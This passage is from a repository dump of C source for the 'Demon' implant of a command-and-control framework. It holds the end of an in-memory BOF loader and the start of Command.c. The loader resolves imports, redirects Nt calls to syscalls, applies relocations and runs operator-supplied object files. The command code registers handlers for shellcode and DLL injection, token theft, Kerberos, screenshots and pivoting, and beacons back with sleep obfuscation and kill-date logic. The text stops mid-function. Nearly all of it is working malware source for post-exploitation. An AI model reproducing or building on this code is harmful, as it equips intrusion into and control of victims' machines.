}\n#endif\n\n        // we support a handful of functions that don't usually have the DLL\n        for ( DWORD i = 0 ;; i++ )\n        {\n            if ( ! LdrApi[ i ].NameHash )\n                break;\n\n            if ( HashStringA( SymName ) == LdrApi[ i ].NameHash )\n            {\n                *pFuncAddr = LdrApi[ i ].Pointer;\n                return TRUE;\n            }\n        }\n\n        goto SymbolNotFound;\n    }\n    else if ( SymbolIsImport( SymbolName ) )\n    {\n        // this is a typical import symbol in the form: __imp_LIBNAME$FUNCNAME\n        SymLibrary  = Bak + COFF_PREP_SYMBOL_SIZE;\n        SymLibrary  = StringTokenA( SymLibrary, \"$\" );\n        SymFunction = SymLibrary + StringLengthA( SymLibrary ) + 1;\n        hLibrary    = LdrModuleLoad( SymLibrary );\n\n        if ( ! hLibrary )\n        {\n            PRINTF( \"Failed to load library: Lib:[%s] Err:[%d]\\n\", SymLibrary, NtGetLastError() );\n            goto SymbolNotFound;\n        }\n\n        StringCopyA( SymName, SymFunction );\n\n#if _M_IX86\n        // in x86, symbols can have this form: __imp__KERNEL32$GetProcessHeap@0\n        // we need to make sure there is no '@' in the function name\n        for ( DWORD i = 0 ;; ++i )\n        {\n            if ( ! SymName[i] )\n                break;\n\n            if ( SymName[i] == '@' )\n            {\n                SymName[i] = 0;\n                break;\n            }\n        }\n#endif\n\n        /*\n         * we overwrite the addresses of some Nt apis to provide\n         * automatic support for syscalls to BOFs\n         */\n        if ( hLibrary == Instance->Modules.Ntdll )\n        {\n            for ( DWORD i = 0 ;; i++ )\n            {\n                if ( ! NtApi[ i ].NameHash )\n                    break;\n\n                if ( HashStringA( SymName ) == NtApi[ i ].NameHash )\n                {\n                    *pFuncAddr = NtApi[ i ].Pointer;\n                    return TRUE;\n                }\n            }\n        }\n\n        AnsiString.Length        = StringLengthA( SymName );\n        AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR );\n        AnsiString.Buffer        = SymName;\n\n        if ( NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) )\n            return TRUE;\n\n        goto SymbolNotFound;\n    }\n    else if ( HashStringA( SymbolName ) == COFF_INSTANCE )\n    {\n        // allow BOFs to reference the Instance struct\n        *pFuncAddr = &Instance;\n        return TRUE;\n    }\n    else if ( SymbolType != SYMBOL_IS_A_FUNCTION)\n    {\n        // TODO: should we also fail if the symbol is not a function?\n        return TRUE;\n    }\n\nSymbolNotFound:\n    Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, Coffee->RequestID );\n    PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND );\n    PackageAddString( Package, SymbolName );\n    PackageTransmit( Package );\n\n    return FALSE;\n}\n\n// This is our function where we can control/get the return address of it to use it in case of a Veh exception\nVOID CoffeeFunction( PVOID Address, PVOID Argument, SIZE_T Size )\n{\n    VOID ( *Function ) ( PCHAR , ULONG ) = Address;\n\n    CoffeeFunctionReturn = __builtin_extract_return_addr( __builtin_return_address ( 0 ) );\n\n    // Execute our function\n    Function( Argument, Size );\n\n    PUTS( \"Finished\" )\n}\n\nBOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE_T Size, UINT32 RequestID )\n{\n    PVOID CoffeeMain     = NULL;\n    PVOID VehHandle      = NULL;\n    PCHAR SymbolName     = NULL;\n    BOOL  Success        = FALSE;\n    ULONG FunctionLength = StringLengthA( Function );\n    ULONG Protection     = 0;\n    ULONG BitMask        = 0;\n\n    if ( Instance->Config.Implant.CoffeeVeh )\n    {\n        PUTS( \"Register VEH handler...\" )\n        // Add Veh Debugger in case that our BOF crashes etc.\n        VehHandle = Instance->Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger );\n        if ( ! VehHandle )\n        {\n            PACKAGE_ERROR_WIN32\n            return FALSE;\n        }\n    }\n\n    // set appropriate permissions for each section\n    for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ )\n    {\n        Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) );\n        if ( Coffee->Section->SizeOfRawData > 0 )\n        {\n            BitMask = Coffee->Section->Characteristics & ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE );\n            if ( BitMask == 0 )\n                Protection = PAGE_NOACCESS;\n            else if ( BitMask == IMAGE_SCN_MEM_EXECUTE )\n                Protection = PAGE_EXECUTE;\n            else if ( BitMask == IMAGE_SCN_MEM_READ )\n                Protection = PAGE_READONLY;\n            else if ( BitMask == ( IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE ) )\n                Protection = PAGE_EXECUTE_READ;\n            else if ( BitMask == IMAGE_SCN_MEM_WRITE )\n                Protection = PAGE_WRITECOPY;\n            else if ( BitMask == ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE ) )\n                Protection = PAGE_EXECUTE_WRITECOPY;\n            else if ( BitMask == ( IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ) )\n                Protection = PAGE_READWRITE;\n            else if ( BitMask == ( IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ) )\n                Protection = PAGE_EXECUTE_READWRITE;\n            else\n            {\n                PRINTF( \"Unknown protection: %x\", Coffee->Section->Characteristics );\n                Protection = PAGE_EXECUTE_READWRITE;\n            }\n\n            if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED ) == IMAGE_SCN_MEM_NOT_CACHED  )\n                Protection |= PAGE_NOCACHE;\n\n            Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection );\n            if ( ! Success )\n            {\n                PUTS( \"Failed to protect memory\" )\n                return FALSE;\n            }\n        }\n    }\n\n    if ( Coffee->FunMapSize )\n    {\n        // set the FunctionMap section to READONLY\n        Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY );\n        if ( ! Success )\n        {\n            PUTS( \"Failed to protect memory\" )\n            return FALSE;\n        }\n    }\n\n    // look for the \"go\" function\n    for ( DWORD SymCounter = 0; SymCounter < Coffee->Header->NumberOfSymbols; SymCounter++ )\n    {\n        if ( Coffee->Symbol[ SymCounter ].First.Value[ 0 ] != 0 )\n            SymbolName = Coffee->Symbol[ SymCounter ].First.Name;\n        else\n            SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Coffee->Symbol[ SymCounter ].First.Value[ 1 ];\n\n#if _M_IX86\n        // in x86, the \"go\" function might actually be named _go\n        if ( SymbolName[0] == '_' )\n            SymbolName++;\n#endif\n\n        if ( MemCompare( SymbolName, Function, FunctionLength ) == 0 )\n        {\n            CoffeeMain = ( Coffee->SecMap[ Coffee->Symbol[ SymCounter ].SectionNumber - 1 ].Ptr + Coffee->Symbol[ SymCounter ].Value );\n            break;\n        }\n    }\n\n    // did we find it?\n    if ( ! CoffeeMain )\n    {\n        PRINTF( \"[!] Couldn't find function => %s\\n\", Function );\n\n        PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID );\n\n        PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND );\n        PackageAddString( Package, Function );\n        PackageTransmit( Package );\n\n        return FALSE;\n    }\n\n    // make sure the entry point is on executable memory\n    Success = FALSE;\n    for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ )\n    {\n        if ( ( ULONG_PTR ) CoffeeMain >= ( ULONG_PTR ) Coffee->SecMap[ SectionCnt ].Ptr && ( ULONG_PTR ) CoffeeMain < U_PTR( Coffee->SecMap[ SectionCnt ].Ptr) + Coffee->SecMap[ SectionCnt ].Size )\n        {\n            Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) );\n            if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_EXECUTE ) == IMAGE_SCN_MEM_EXECUTE )\n                Success = TRUE;\n\n            break;\n        }\n    }\n\n    if ( ! Success )\n    {\n        PRINTF( \"The entry point (%p) is not on executable memory\\n\", CoffeeMain )\n        return FALSE;\n    }\n\n    PUTS( \"[*] Execute coffee main\\n\" );\n    CoffeeFunction( CoffeeMain, Argument, Size );\n\n    // Remove our exception handler\n    if ( VehHandle ) {\n        Instance->Win32.RtlRemoveVectoredExceptionHandler( VehHandle );\n    }\n\n    return TRUE;\n}\n\nVOID CoffeeCleanup( PCOFFEE Coffee )\n{\n    PVOID    Pointer  = NULL;\n    SIZE_T   Size     = 0;\n    NTSTATUS NtStatus = 0;\n\n    if ( ! Coffee || ! Coffee->ImageBase )\n        return;\n\n    if ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) )\n        MemSet( Coffee->ImageBase, 0, Coffee->BofSize );\n\n    Pointer = Coffee->ImageBase;\n    Size    = Coffee->BofSize;\n    if ( ! NT_SUCCESS( ( NtStatus = SysNtFreeVirtualMemory( NtCurrentProcess(), &Pointer, &Size, MEM_RELEASE ) ) ) )\n    {\n        NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n        PRINTF( \"[!] Failed to free memory: %p : %lu\\n\", Coffee->ImageBase, NtGetLastError() );\n    }\n\n    if ( Coffee->SecMap )\n    {\n        MemSet( Coffee->SecMap, 0, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );\n        Instance->Win32.LocalFree( Coffee->SecMap );\n        Coffee->SecMap = NULL;\n    }\n}\n\n// Process sections relocation and symbols\nBOOL CoffeeProcessSections( PCOFFEE Coffee )\n{\n    PUTS( \"Process Sections\" )\n    PVOID  FuncPtr           = NULL;\n    DWORD  FuncCount         = 0;\n    UINT64 OffsetLong        = 0;\n    UINT32 Offset            = 0;\n    CHAR   SymName[9]        = { 0 };\n    PCHAR  SymbolName        = NULL;\n    PVOID  RelocAddr         = NULL;\n    PVOID  FunMapAddr        = NULL;\n    PVOID  SymbolSectionAddr = NULL;\n    UINT16 SymbolType        = 0;\n    PCOFF_SYMBOL Symbol      = NULL;\n\n    for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ )\n    {\n        Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) );\n        Coffee->Reloc   = C_PTR( U_PTR( Coffee->Data ) + Coffee->Section->PointerToRelocations );\n\n        for ( DWORD RelocCnt = 0; RelocCnt < Coffee->Section->NumberOfRelocations; RelocCnt++ )\n        {\n            Symbol = &Coffee->Symbol[ Coffee->Reloc->SymbolTableIndex ];\n\n            if ( Symbol->First.Value[ 0 ] != 0 )\n            {\n                // if the symbol is 8 bytes long, it will not be terminated by a null byte\n                MemSet( SymName, 0, sizeof( SymName ) );\n                MemCopy( SymName, Symbol->First.Name, 8 );\n                SymbolName = SymName;\n                // TODO: the following symbols take 2 entries: .text, .xdata, .pdata, .rdata\n                //       skip an entry if one of those is found\n            }\n            else\n            {\n                // in this scenario, we can trust that the symbol ends with a null byte\n                SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Symbol->First.Value[ 1 ];\n            }\n\n            // address where the reloc must be written to\n            RelocAddr = Coffee->SecMap[ SectionCnt ].Ptr + Coffee->Reloc->VirtualAddress;\n            // address where the resolved function address will be stored\n            FunMapAddr = Coffee->FunMap + ( FuncCount * sizeof( PVOID ) );\n            // the address of the section where the symbol is stored\n            SymbolSectionAddr = Coffee->SecMap[ Symbol->SectionNumber - 1 ].Ptr;\n            // type of the symbol\n            SymbolType = Symbol->Type;\n\n            if ( ! CoffeeProcessSymbol( Coffee, SymbolName, SymbolType, &FuncPtr ) )\n            {\n                PRINTF( \"Symbol '%s' couldn't be resolved\\n\", SymbolName );\n                return FALSE;\n            }\n\n#if _WIN64\n            if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr != NULL )\n            {\n                *( ( PVOID* ) FunMapAddr ) = FuncPtr;\n\n                Offset = ( UINT32 ) ( U_PTR( FunMapAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) );\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n\n                FuncCount++;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 );\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_1 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 1;\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_2 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 2;\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_3 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 3;\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_4 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 4;\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_REL32_5 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 ) - 5;\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_ADDR32NB && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 );\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_AMD64_ADDR64 && FuncPtr == NULL )\n            {\n                OffsetLong = *( PUINT64 ) ( RelocAddr );\n\n                OffsetLong += U_PTR( SymbolSectionAddr );\n\n                *( ( PUINT64 ) RelocAddr ) = OffsetLong;\n            }\n#else\n                if ( Coffee->Reloc->Type == IMAGE_REL_I386_REL32 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr ) - U_PTR( RelocAddr ) - sizeof( UINT32 );\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr != NULL )\n            {\n                *( ( PVOID* ) FunMapAddr ) = FuncPtr;\n\n                Offset = U_PTR( FunMapAddr );\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n\n                FuncCount++;\n            }\n            else if ( Coffee->Reloc->Type == IMAGE_REL_I386_DIR32 && FuncPtr == NULL )\n            {\n                Offset = *( PUINT32 ) ( RelocAddr );\n\n                Offset += U_PTR( SymbolSectionAddr );\n\n                *( ( PUINT32 ) RelocAddr ) = Offset;\n            }\n#endif\n            else\n            {\n                if ( FuncPtr )\n                {\n                    PRINTF( \"[!] Relocation type %d for Symbol %s not supported\\n\", Coffee->Reloc->Type, SymbolName );\n                }\n                else\n                {\n                    PRINTF( \"[!] Relocation type not found: %d\\n\", Coffee->Reloc->Type );\n                }\n\n                return FALSE;\n            }\n\n            Coffee->Reloc = C_PTR( U_PTR( Coffee->Reloc ) + sizeof( COFF_RELOC ) );\n        }\n    }\n\n    return TRUE;\n}\n\n// calculate how many __imp_* function there are\nSIZE_T CoffeeGetFunMapSize( PCOFFEE Coffee )\n{\n    CHAR         SymName[9]    = { 0 };\n    PCHAR        SymbolName    = NULL;\n    ULONG        NumberOfFuncs = 0;\n    PCOFF_SYMBOL Symbol        = NULL;\n\n    for ( UINT16 SectionCnt = 0; SectionCnt < Coffee->Header->NumberOfSections; SectionCnt++ )\n    {\n        Coffee->Section = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SectionCnt ) );\n        Coffee->Reloc   = C_PTR( U_PTR( Coffee->Data ) + Coffee->Section->PointerToRelocations );\n\n        for ( DWORD RelocCnt = 0; RelocCnt < Coffee->Section->NumberOfRelocations; RelocCnt++ )\n        {\n            Symbol = &Coffee->Symbol[ Coffee->Reloc->SymbolTableIndex ];\n\n            if ( Symbol->First.Value[ 0 ] != 0 )\n            {\n                // if the symbol is 8 bytes long, it will not be terminated by a null byte\n                MemSet( SymName, 0, sizeof( SymName ) );\n                MemCopy( SymName, Symbol->First.Name, 8 );\n                SymbolName = SymName;\n            }\n            else\n            {\n                // in this scenario, we can trust that the symbol ends with a null byte\n                SymbolName = ( ( PCHAR ) ( Coffee->Symbol + Coffee->Header->NumberOfSymbols ) ) + Symbol->First.Value[ 1 ];\n            }\n\n            // if the symbol starts with __imp_, count it\n            if ( HashEx( SymbolName, COFF_PREP_SYMBOL_SIZE, FALSE ) == COFF_PREP_SYMBOL )\n                NumberOfFuncs++;\n\n            Coffee->Reloc = C_PTR( U_PTR( Coffee->Reloc ) + sizeof( COFF_RELOC ) );\n        }\n    }\n\n    return sizeof( PVOID ) * NumberOfFuncs;\n}\n\nVOID RemoveCoffeeFromInstance( PCOFFEE Coffee )\n{\n    PCOFFEE Entry = Instance->Coffees;\n    PCOFFEE Last  = Entry;\n\n    if ( ! Coffee )\n        return;\n\n    if ( Entry && Entry->RequestID == Coffee->RequestID )\n    {\n        Instance->Coffees = Entry->Next;\n        return;\n    }\n\n    Entry = Entry->Next;\n    while ( Entry )\n    {\n        if ( Entry->RequestID == Coffee->RequestID )\n        {\n            Last->Next = Entry->Next;\n            return;\n        }\n\n        Last  = Entry;\n        Entry = Entry->Next;\n    }\n\n    PUTS( \"Coffe entry was not found\" )\n}\n\nVOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID )\n{\n    PCOFFEE Coffee   = NULL;\n    PVOID   NextBase = NULL;\n    BOOL    Success  = FALSE;\n\n    PRINTF( \"[EntryName: %s] [CoffeeData: %p] [ArgData: %p] [ArgSize: %ld]\\n\", EntryName, CoffeeData, ArgData, ArgSize )\n\n    if ( ! CoffeeData )\n    {\n        PUTS( \"[!] Coffee data is empty\" );\n        goto END;\n    }\n\n    /*\n     * The BOF will be allocated as one big chunk of memory\n     * all sections are kept page aligned\n     * the FunctionMap stored at the end to prevent\n     * reloc 32-bit offsets to overflow\n     */\n\n    Coffee            = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE ) );\n    Coffee->Data      = CoffeeData;\n    Coffee->Header    = Coffee->Data;\n    Coffee->Symbol    = C_PTR( U_PTR( Coffee->Data ) + Coffee->Header->PointerToSymbolTable );\n    Coffee->RequestID = RequestID;\n    Coffee->Next      = Instance->Coffees;\n    Instance->Coffees  = Coffee;\n\n#if _WIN64\n\n    if ( Coffee->Header->Machine != IMAGE_FILE_MACHINE_AMD64 )\n    {\n        PUTS( \"The BOF is not AMD64\" );\n        goto END;\n    }\n\n#else\n\n    if ( Coffee->Header->Machine == IMAGE_FILE_MACHINE_AMD64 )\n    {\n        PUTS( \"The BOF is AMD64\" );\n        goto END;\n    }\n\n#endif\n\n    Coffee->SecMap     = Instance->Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );\n    Coffee->FunMapSize = CoffeeGetFunMapSize( Coffee );\n\n    if ( ! Coffee->SecMap )\n    {\n        PUTS( \"Failed to allocate memory\" )\n        goto END;\n    }\n\n    // calculate the size of the entire BOF\n    for ( UINT16 SecCnt = 0 ; SecCnt < Coffee->Header->NumberOfSections; SecCnt++ )\n    {\n        Coffee->Section  = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SecCnt ) );\n        Coffee->BofSize += Coffee->Section->SizeOfRawData;\n        Coffee->BofSize  = ( SIZE_T ) ( ULONG_PTR ) PAGE_ALLIGN( Coffee->BofSize );\n    }\n\n    // at the bottom of the BOF, store the Function map, to ensure all reloc offsets are below 4K\n    Coffee->BofSize += Coffee->FunMapSize;\n\n    Coffee->ImageBase = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE );\n    if ( ! Coffee->ImageBase )\n    {\n        PUTS( \"Failed to allocate memory for the BOF\" )\n        goto END;\n    }\n\n    NextBase = Coffee->ImageBase;\n    for ( UINT16 SecCnt = 0 ; SecCnt < Coffee->Header->NumberOfSections; SecCnt++ )\n    {\n        Coffee->Section               = C_PTR( U_PTR( Coffee->Data ) + sizeof( COFF_FILE_HEADER ) + U_PTR( sizeof( COFF_SECTION ) * SecCnt ) );\n        Coffee->SecMap[ SecCnt ].Size = Coffee->Section->SizeOfRawData;\n        Coffee->SecMap[ SecCnt ].Ptr  = NextBase;\n\n        NextBase += Coffee->Section->SizeOfRawData;\n        NextBase  = PAGE_ALLIGN( NextBase );\n\n        PRINTF( \"Coffee->SecMap[ %d ].Ptr => %p\\n\", SecCnt, Coffee->SecMap[ SecCnt ].Ptr )\n\n        MemCopy( Coffee->SecMap[ SecCnt ].Ptr, C_PTR( U_PTR( CoffeeData ) + Coffee->Section->PointerToRawData ), Coffee->Section->SizeOfRawData );\n    }\n\n    // the FunMap is stored directly after the BOF\n    Coffee->FunMap = NextBase;\n\n    if ( ! CoffeeProcessSections( Coffee ) )\n    {\n        PUTS( \"[*] Failed to process relocation\" );\n        goto END;\n    }\n\n    Success = CoffeeExecuteFunction( Coffee, EntryName, ArgData, ArgSize, RequestID );\n\nEND:\n    PUTS( \"[*] Cleanup memory\" );\n    CoffeeCleanup( Coffee );\n\n    if ( Success )\n    {\n        PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID );\n        PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_RAN_OK );\n        PackageTransmit( Package );\n    }\n    else\n    {\n        PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID );\n        PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_COULD_NO_RUN );\n        PackageTransmit( Package );\n    }\n\n    RemoveCoffeeFromInstance( Coffee );\n\n    if ( Coffee )\n    {\n        MemSet( Coffee, 0, sizeof( Coffee ) );\n        Instance->Win32.LocalFree( Coffee );\n        Coffee = NULL;\n    }\n}\n\nVOID CoffeeRunnerThread( PCOFFEE_PARAMS Param )\n{\n    if ( ! Param->EntryName || ! Param->CoffeeData )\n        goto ExitThread;\n\n    CoffeeLdr( Param->EntryName, Param->CoffeeData, Param->ArgData, Param->ArgSize, Param->RequestID );\n\nExitThread:\n    if ( Param )\n    {\n        DATA_FREE( Param->EntryName,  Param->EntryNameSize );\n        DATA_FREE( Param->CoffeeData, Param->CoffeeDataSize );\n        DATA_FREE( Param->ArgData,    Param->ArgSize );\n        DATA_FREE( Param,             sizeof( COFFEE_PARAMS ) );\n    }\n\n    JobRemove( (DWORD)(ULONG_PTR)NtCurrentTeb()->ClientId.UniqueThread );\n    Instance->Threads--;\n\n    Instance->Win32.RtlExitUserThread( 0 );\n}\n\nVOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID )\n{\n    PCOFFEE_PARAMS CoffeeParams = NULL;\n    INJECTION_CTX  InjectionCtx = { 0 };\n#if _WIN64\n    BOOL           x64          = TRUE;\n#else\n    BOOL           x64          = FALSE;\n#endif\n\n    // Allocate memory\n    CoffeeParams                 = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) );\n    CoffeeParams->EntryName      = Instance->Win32.LocalAlloc( LPTR, EntryNameSize );\n    CoffeeParams->CoffeeData     = Instance->Win32.LocalAlloc( LPTR, CoffeeDataSize );\n    CoffeeParams->ArgData        = Instance->Win32.LocalAlloc( LPTR, ArgSize );\n    CoffeeParams->EntryNameSize  = EntryNameSize;\n    CoffeeParams->CoffeeDataSize = CoffeeDataSize;\n    CoffeeParams->ArgSize        = ArgSize;\n    CoffeeParams->RequestID      = RequestID;\n\n    MemCopy( CoffeeParams->EntryName,  EntryName,  EntryNameSize  );\n    MemCopy( CoffeeParams->CoffeeData, CoffeeData, CoffeeDataSize );\n    MemCopy( CoffeeParams->ArgData,    ArgData,    ArgSize        );\n\n    InjectionCtx.Parameter = CoffeeParams;\n\n    Instance->Threads++;\n\n    if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, NtCurrentProcess(), x64, CoffeeRunnerThread, CoffeeParams, NULL ) ) {\n        PRINTF( \"Failed to create new CoffeeRunnerThread thread: %d\", NtGetLastError() )\n        PACKAGE_ERROR_WIN32\n    }\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Command.c",
    "content": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Command.h>\n#include <core/Token.h>\n#include <core/Package.h>\n#include <core/MiniStd.h>\n#include <core/SleepObf.h>\n#include <core/Download.h>\n#include <core/Dotnet.h>\n#include <core/Kerberos.h>\n#include <core/CoffeeLdr.h>\n#include <inject/Inject.h>\n\nSEC_DATA DEMON_COMMAND DemonCommands[] = {\n        { .ID = DEMON_COMMAND_SLEEP,                    .Function = CommandSleep                    },\n        { .ID = DEMON_COMMAND_CHECKIN,                  .Function = CommandCheckin                  },\n        { .ID = DEMON_COMMAND_JOB,                      .Function = CommandJob                      },\n        { .ID = DEMON_COMMAND_PROC,                     .Function = CommandProc                     },\n        { .ID = DEMON_COMMAND_PROC_LIST,                .Function = CommandProcList                 },\n        { .ID = DEMON_COMMAND_FS,                       .Function = CommandFS                       },\n        { .ID = DEMON_COMMAND_INLINE_EXECUTE,           .Function = CommandInlineExecute            },\n        { .ID = DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE,  .Function = CommandAssemblyInlineExecute    },\n        { .ID = DEMON_COMMAND_ASSEMBLY_VERSIONS,        .Function = CommandAssemblyListVersion      },\n        { .ID = DEMON_COMMAND_CONFIG,                   .Function = CommandConfig                   },\n        { .ID = DEMON_COMMAND_SCREENSHOT,               .Function = CommandScreenshot               },\n        { .ID = DEMON_COMMAND_PIVOT,                    .Function = CommandPivot                    },\n        { .ID = DEMON_COMMAND_NET,                      .Function = CommandNet                      },\n        { .ID = DEMON_COMMAND_INJECT_DLL,               .Function = CommandInjectDLL                },\n        { .ID = DEMON_COMMAND_INJECT_SHELLCODE,         .Function = CommandInjectShellcode          },\n        { .ID = DEMON_COMMAND_SPAWN_DLL,                .Function = CommandSpawnDLL                 },\n        { .ID = DEMON_COMMAND_TOKEN,                    .Function = CommandToken                    },\n        { .ID = DEMON_COMMAND_TRANSFER,                 .Function = CommandTransfer                 },\n        { .ID = DEMON_COMMAND_SOCKET,                   .Function = CommandSocket                   },\n        { .ID = DEMON_COMMAND_KERBEROS,                 .Function = CommandKerberos                 },\n        { .ID = DEMON_COMMAND_MEM_FILE,                 .Function = CommandMemFile                  },\n        { .ID = DEMON_EXIT,                             .Function = CommandExit                     },\n\n        // End\n        { .ID = 0, .Function = NULL }\n};\n\n//\n// TODO: rewrite this part\n//       and move it into the Demon.c file\n//\nVOID CommandDispatcher( VOID )\n{\n    PARSER   Parser         = { 0 };\n    LPVOID   DataBuffer     = { 0 };\n    SIZE_T   DataBufferSize = { 0 };\n    PARSER   TaskParser     = { 0 };\n    LPVOID   TaskBuffer     = { 0 };\n    UINT32   TaskBufferSize = { 0 };\n    UINT32   CommandID      = { 0 };\n    UINT32   RequestID      = { 0 };\n\n    PRINTF( \"Session ID => %x\\n\", Instance->Session.AgentID );\n\n    do {\n        if ( ! Instance->Session.Connected ) {\n            break;\n        }\n\n        SleepObf();\n\n        if ( ReachedKillDate() ) {\n            KillDate();\n        }\n\n        // simply call SleepObf until we reach working hours or the kill date (if set)\n        if ( ! InWorkingHours() ) {\n            continue;\n        }\n\n#ifdef TRANSPORT_HTTP\n        /* Send our buffer. */\n        if ( ! PackageTransmitAll( &DataBuffer, &DataBufferSize ) && ! HostCheckup() )\n        {\n            CommandExit( NULL );\n        }\n\n/* SMB */\n#else\n        // send all the packages we might have\n        PackageTransmitAll( NULL, NULL );\n\n        